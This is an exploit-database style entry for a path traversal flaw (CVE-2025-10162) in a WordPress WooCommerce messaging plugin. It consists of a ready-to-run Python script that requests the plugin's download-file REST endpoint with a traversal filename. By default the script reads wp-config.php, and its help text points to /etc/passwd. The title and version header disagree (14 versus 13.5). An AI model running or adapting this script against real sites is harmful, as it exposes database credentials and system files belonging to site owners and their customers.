WordPress OrderConvo 14 - Path Traversal

# Exploit Title: WordPress OrderConvo 14 - Path Traversal
# Date: 05-31-2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://www.najeebmedia.com/
# Software Link: https://wordpress.org/plugins/admin-and-client-message-after-order-for-woocommerce/
# Version: 13.5
# Tested on: Debian
# CVE : CVE-2025-10162

import httpx
import asyncio
import argparse
from urllib.parse import urljoin
import sys


async def main(base_url, file):
    async with httpx.AsyncClient(verify=False) as client:
        try:
            print('[*] Checking connection to target')
            req = await client.get(url=base_url)
            if req.status_code == 200:
                print('[+] The target is alive, exploiting\n')
            else:
                print(f'[-] Unable to connect to the target. Code: {req.status_code}')
                sys.exit()
        except:
            print(f'[-] Problem with connection to the target.')
            sys.exit()       
    
        exp_url = urljoin(base_url, f'wp-json/wooconvo/v1/download-file?order_id=1&filename={file}')
        r = await client.get(url=exp_url)
        if len(r.text) != 0:
            print(r.text)
        else:
            print("[*] Unable to read file")

parser = argparse.ArgumentParser(description="Exploit for CVE-2025-10162")

parser.add_argument("-u", "--url", required=True, help="Target URL, e.g. https://test.local")
parser.add_argument("-f", "--filename", default="../../../../wp-config.php", help="Path to the file to read. Note: You must use deep path traversal sequences (e.g., ../../../../../etc/passwd) to break out of the web root and access sensitive system or WordPress files. (Default: ../../../../wp-config.php)")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.url, args.filename))